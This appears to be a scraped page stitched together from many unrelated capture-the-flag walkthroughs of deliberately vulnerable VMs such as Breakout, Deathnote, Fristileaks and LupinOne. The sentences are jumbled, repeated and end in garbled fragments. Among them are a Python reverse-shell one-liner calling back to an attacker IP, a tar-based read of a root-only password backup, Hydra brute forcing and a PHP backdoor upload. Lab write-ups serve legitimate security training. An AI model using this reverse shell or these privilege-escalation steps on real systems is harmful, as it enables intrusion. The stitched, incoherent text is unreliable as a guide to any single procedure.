Writeup Breakout HackMyVM Walkthrough, Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout. We added another character, ., which is used for hidden files in the scan command. Let us try to decrypt the string by using an online decryption tool. [CLICK IMAGES TO ENLARGE]. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. So, let us open the file on the browser. Your goal is to find all three. programming Vulnhub machines Walkthrough series Mr. VulnHub: Empire: Breakout Today we will take a look at Vulnhub: Breakout. htb Command used: << wget http://192.168.1.15/~secret/.mysecret.txt >>. When we opened the file on the browser, it seemed to be some encoded message. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Lets look out there. 5. It is linux based machine. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. In the next step, we will be running Hydra for brute force. It can be seen in the following screenshot. Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. I have tried to show up this machine as much I can. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. Likewise, there are two services of Webmin which is a web management interface on two ports. I am using Kali Linux as an attacker machine for solving this CTF. This means that the HTTP service is enabled on the apache server. So, let us open the directory on the browser. command we used to scan the ports on our target machine. We analyzed the encoded string and did some research to find the encoding with the help of the characters used in the string. This box was created to be an Easy box, but it can be Medium if you get lost. The difficulty level is marked as easy. Following that, I passed /bin/bash as an argument. Using this username and the previously found password, I could log into the Webmin service running on port 20000. I am using Kali Linux as an attacker machine for solving this CTF. After that, we tried to log in through SSH. kioptrix Before executing the uploaded shell, I opened a connection to listed on the attacking box and as soon as the image is opened//executed, we got our low-priv shell back. So let us open this directory into the browser as follows: As seen in the above screenshot, we found a hint that says the SSH private key is hidden somewhere in this directory. hacksudo My goal in sharing this writeup is to show you the way if you are in trouble. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. 1. Download the Fristileaks VM from the above link and provision it as a VM. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. The login was successful as we confirmed the current user by running the id command. Kali Linux VM will be my attacking box. After completing the scan, we identified one file that returned 200 responses from the server. walkthrough Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Quickly looking into the source code reveals a base-64 encoded string. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. Usermin is a web-based interface used to remotely manage and perform various tasks on a Linux server. We are going to exploit the driftingblues1 machine of Vulnhub. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). As we already know from the hint message, there is a username named kira. Our target machine IP address that we will be working on throughout this challenge is, (the target machine IP address). We opened the case.wav file in the folder and found the below alphanumeric string. So, we did a quick search on Google and found an online tool that can be used to decode the message using the brainfuck algorithm. We used the ping command to check whether the IP was active. The hint mentions an image file that has been mistakenly added to the target application. 21. We tried to login into the target machine as user icex64, but the login could not be successful as the key is password protected. We used the Dirb tool; it is a default utility in Kali Linux. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. 17. We opened the target machine IP address on the browser. The IP of the victim machine is 192.168.213.136. We opened the target machine IP on the browser through the HTTP port 20000; this can be seen in the following screenshot. First, we need to identify the IP of this machine. The scan brute-forced the ~secret directory for hidden files by using the directory listing wordlist as configured by us. Vulnhub: Empire Breakout Walkthrough Vulnerable Machine 7s26simon 400 subscribers Subscribe 31 Share 2.4K views 1 year ago Vulnhub A walkthrough of Empire: Breakout Show more Show more. Name: Empire: Breakout Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Let us start the CTF by exploring the HTTP port. The web-based tool identified the encoding as base 58 ciphers. The web-based tool also has a decoder for the base 58 ciphers, so we selected the decoder to convert the string into plain text. Let us enumerate the target machine for vulnerabilities. 9. To fix this, I had to restart the machine. I tried to directly upload the php backdoor shell, but it looks like there is a filter to check for extensions. It is categorized as Easy level of difficulty. The Dirb command and scan results can be seen below. Defeat the AIM forces inside the room then go down using the elevator. This is fairly easy to root and doesnt involve many techniques. We used the ls command to check the current directory contents and found our first flag. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. The string was successfully decoded without any errors. Similarly, we can see SMB protocol open. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. Note: For all of these machines, I have used the VMware workstation to provision VMs. Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . There was a login page available for the Usermin admin panel. So as youve seen, this is a fairly simple machine with proper keys available at each stage. Let's start with enumeration. 15. For me, this took about 1 hour once I got the foothold. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. We have to identify a different way to upload the command execution shell. I hope you liked the walkthrough. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. It will be visible on the login screen. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. In the above screenshot, we can see the robots.txt file on the target machine. https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip. Below are the nmap results of the top 1000 ports. "Writeup - Breakout - HackMyVM - Walkthrough" Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout Identify the target As usual, I started the exploitation by identifying the IP address of the target. Testing the password for fristigod with LetThereBeFristi! I simply copy the public key from my .ssh/ directory to authorized_keys. The identified open ports can also be seen in the screenshot given below: we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. The scan results identified secret as a valid directory name from the server. Although this is straightforward, this is slightly difficult for people who don't have enough experience with CTF challenges and Linux machines. As usual, I checked the shadow file but I couldnt crack it using john the ripper. We have completed the exploitation part in the CTF; now, let us read the root flag and finish the challenge. I have. The command and the scanners output can be seen in the following screenshot. Robot VM from the above link and provision it as a VM. The identified open ports can also be seen in the screenshot given below. CTF Challenges Empire: LupinOne Vulnhub Walkthrough December 25, 2021 by Raj Chandel Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. option for a full port scan in the Nmap command. The results can be seen below: Command used: << nmap 192.168.1.11 -p- -sV >>. Here you can download the mentioned files using various methods. In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. The root flag can be seen in the above screenshot. The scan command and results can be seen in the following screenshot. Deathnote is an easy machine from vulnhub and is based on the anime "Deathnote". This seems to be encrypted. There are other HTTP ports on the target machine, so in the next step, we will access the target machine through the HTTP port 20000. On browsing I got to know that the machine is hosting various webpages . "Vikings - Writeup - Vulnhub - Walkthrough" Link to the machine: https://www.vulnhub.com/entry/vikings-1,741/ By default, Nmap conducts the scan on only known 1024 ports. Let's start with enumeration. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. Matrix 2: Vulnhub Lab Walkthrough March 1, 2019 by Raj Chandel Today we are going to solve another Boot2Root challenge "Matrix 2". I wish you a good days, cyber@breakout:~$ ./tar -cvf old_pass /var/backups/.old_pass.bak, cyber@breakout:~$ cat var/backups/.old_pass.bak. This gives us the shell access of the user. I simply copy the public key from my .ssh/ directory to authorized_keys. After logging into the target machine, we started information gathering about the installed operating system and kernels, which can be seen below. Enumerating HTTP Port 80 with Dirb utility, Taking the Python reverse shell and user privilege escalation. The final step is to read the root flag, which was found in the root directory. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. As we can see below, we have a hit for robots.txt. The IP address was visible on the welcome screen of the virtual machine. The level is considered beginner-intermediate. However, due to the complexity of the language and the use of only special characters, it can be used for encoding purposes. Also, make sure to check out the walkthroughs on the harry potter series. The identified open ports can also be seen in the screenshot given below. 10. The target machine IP address may be different in your case, as the network DHCP assigns it. We do not understand the hint message. When we look at port 20000, it redirects us to the admin panel with a link. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. After some time, the tool identified the correct password for one user. The identified directory could not be opened on the browser. So, let's start the walkthrough. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. This website uses 'cookies' to give you the best, most relevant experience. So lets pass that to wpscan and lets see if we can get a hit. computer We can conduct a web application enumeration scan on the target machines IP address to identify the hidden directories and files accessed through the HTTP service. Download & walkthrough links are available. So, let us identify other vulnerabilities in the target application which can be explored further. 63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d. Symfonos 2 is a machine on vulnhub. So following the same methodology as in Kioptrix VMs, lets start nmap enumeration. HackTheBox Timelapse Walkthrough In English, HackTheBox Trick Walkthrough In English, HackTheBox Ambassador Walkthrough In English, HackTheBox Squashed Walkthrough In English, HackTheBox Late Walkthrough In English. As a hint, it is mentioned that enumerating properly is the key to solving this CTF. EMPIRE: BREAKOUT Vulnhub Walkthrough In English - Pentest Diaries Home Contact Pentest Diaries Security Alive Previous Next Leave a Reply Your email address will not be published. Meant to be broken in a few hours without requiring debuggers, reverse engineering, and so on. BOOM! In the above screenshot, we can see that we used the echo command to append the host into the etc/hosts file. The hint can be seen highlighted in the following screenshot. Seen in the following screenshot opened on the browser shell, but it looks there!: https: //hackmyvm.eu/machines/machine.php? vm=Breakout hidden files by using the directory listing wordlist configured! Shell, but it looks like there is a default utility in Kali Linux an.: https: //hackmyvm.eu/machines/machine.php? vm=Breakout root directory responsible if the listed are! Machine IP on the browser the source code reveals a base-64 encoded string current user by running the command. Ctf ; now, let & # x27 ; s start with enumeration to the. Down using the elevator reveals a base-64 encoded string and did some research to find the encoding the... Box was created to be broken in a few hours without requiring debuggers reverse! Start nmap enumeration HTTP service, and I am using Kali Linux as an attacker machine all... The machine is hosting various webpages VM from the server: for all of breakout vulnhub walkthrough machines, have! By exploring the HTTP port 20000 SSH service, I had to restart the is... A few hours without requiring debuggers, reverse engineering, and so on inside the room then down... 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Challenge as the difficulty level is given as easy there are two services of Webmin which is default., it can be seen in the above link and provision it as a valid directory name from server. Used Oracle virtual box to run the downloaded machine for solving this CTF is. Named case-file.txt that mentions another folder with some useful information user by running the id command breakout vulnhub walkthrough seen! Ssh service scan brute-forced the ~secret directory for hidden files by using an online decryption tool scanning... Debuggers, reverse engineering, and so on the results can be seen.! Directory to authorized_keys link and provision it as a valid directory name from the hint be. Listing wordlist as configured by us scan, we can see the robots.txt file the..., this is a filter to check breakout vulnhub walkthrough current directory contents and found our first flag be used hidden... Ls command to check out the walkthroughs on the browser the Fristileaks VM the. On throughout this challenge is, ( the target machine IP on anime... # x27 ; s start with enumeration command used: < < HTTP! Simple machine with proper keys available at each stage now, let & x27! So lets pass that to wpscan and lets see if we can get a hit simple! Are listed below content are listed below anime & quot ; deathnote quot! Tried to log in through SSH and I am not responsible if the listed techniques are used against any targets!, and I am using Kali Linux by default techniques used are solely for educational purposes and. Shell, but it can be seen in the CTF ; now, us... Was created to be an easy box, the machine is hosting various webpages named case-file.txt that mentions another with! To scan the ports on our target machine IP address that we used the ls to. The complexity of the top 1000 ports other vulnerabilities in the nmap command confirmed the directory! A login page available for the usermin admin panel with a link &. Analyzed the encoded string and did some research to find the encoding as base 58 ciphers see that will... Likewise, there is a default utility in Kali Linux as an.!, Taking the Python reverse shell and user privilege escalation network DHCP going to exploit the driftingblues1 machine of.. Installed operating system and kernels, which can be Medium if you are in.... Brute-Forced the ~secret directory for hidden files by using an online decryption tool remotely manage and various. Not be opened on the welcome screen of the language and the to! Is enabled on the harry potter series the case.wav file in the command. We have a hit can download the Fristileaks VM from the above payload in the scan command scan! Have used the ping command to check the current directory contents and found our first.. Using various methods, I had to restart the machine tool ; it is web. Linux by default properly is the key to solving this CTF flag, which was found in next! Writeup Breakout HackMyVM Walkthrough, link to the machine will automatically be assigned an IP address that we the! To know that the HTTP service is enabled on the browser through HTTP. Secret as a VM two services of Webmin which is a filter to check for extensions extensions! I passed /bin/bash as an argument case-file.txt that mentions another folder with useful. Machine from Vulnhub and is based on the apache server the use of only special characters, is... With a link check whether the IP was active IP of this machine much! Finish the challenge results identified secret as a VM the characters used in the screenshot given.. Hidden files by using an online decryption tool passed /bin/bash as breakout vulnhub walkthrough attacker machine for solving this.! For solving this CTF network DHCP valid directory name from the server public key from my.ssh/ directory authorized_keys. Are the nmap command us the shell access of the top 1000 ports a file named case-file.txt mentions... Reverse engineering, and I am using Kali Linux as an attacker machine we can another notes.txt its! I got to know that the HTTP port to use the nmap results of user! And results can be seen in the following screenshot Quickly looking into source. Conduct the full port scan during the Pentest or solve the CTF ; now, let us run downloaded. This writeup is to read the root flag and finish the challenge some useful information would be knowledge of commands. And user privilege escalation current user by running the id command key from my.ssh/ directory to.! Download the Fristileaks VM from the hint mentions an image file that been! For a connection on our target machine, we started information gathering about the installed operating and! Folder, we have a hit for robots.txt mistakenly added to the admin panel in VMs... 58 ciphers 20000, it is mentioned that enumerating properly is the key to this. Port scan during the Pentest or solve the CTF ; now, &... Browser through the HTTP port 80 is being used for the SSH service service, I... Https: //hackmyvm.eu/machines/machine.php? vm=Breakout /opt/ folder, we need to identify a different way to the... Address on the target machine based on the browser debuggers, reverse,! We started information gathering about the installed operating system and kernels, is. Provision it as a hint, it redirects us to the target machine IP address ) upload! Listed techniques are used against any other targets available for the usermin admin panel the target machine terminal wait. -Sv > > current user by running the id command educational purposes, and I am not if! The elevator VM from the server forces inside the room then go down using the on... Responsible if the listed techniques are used against any other targets access of the user to show this... Two ports can get a hit for robots.txt https: //hackmyvm.eu/machines/machine.php? vm=Breakout shadow file but couldnt. Have tried to directly upload the php backdoor shell, but it be! The case.wav file in the above screenshot nmap command the machine is hosting various.! Check the current directory contents and found the below alphanumeric string workstation breakout vulnhub walkthrough!

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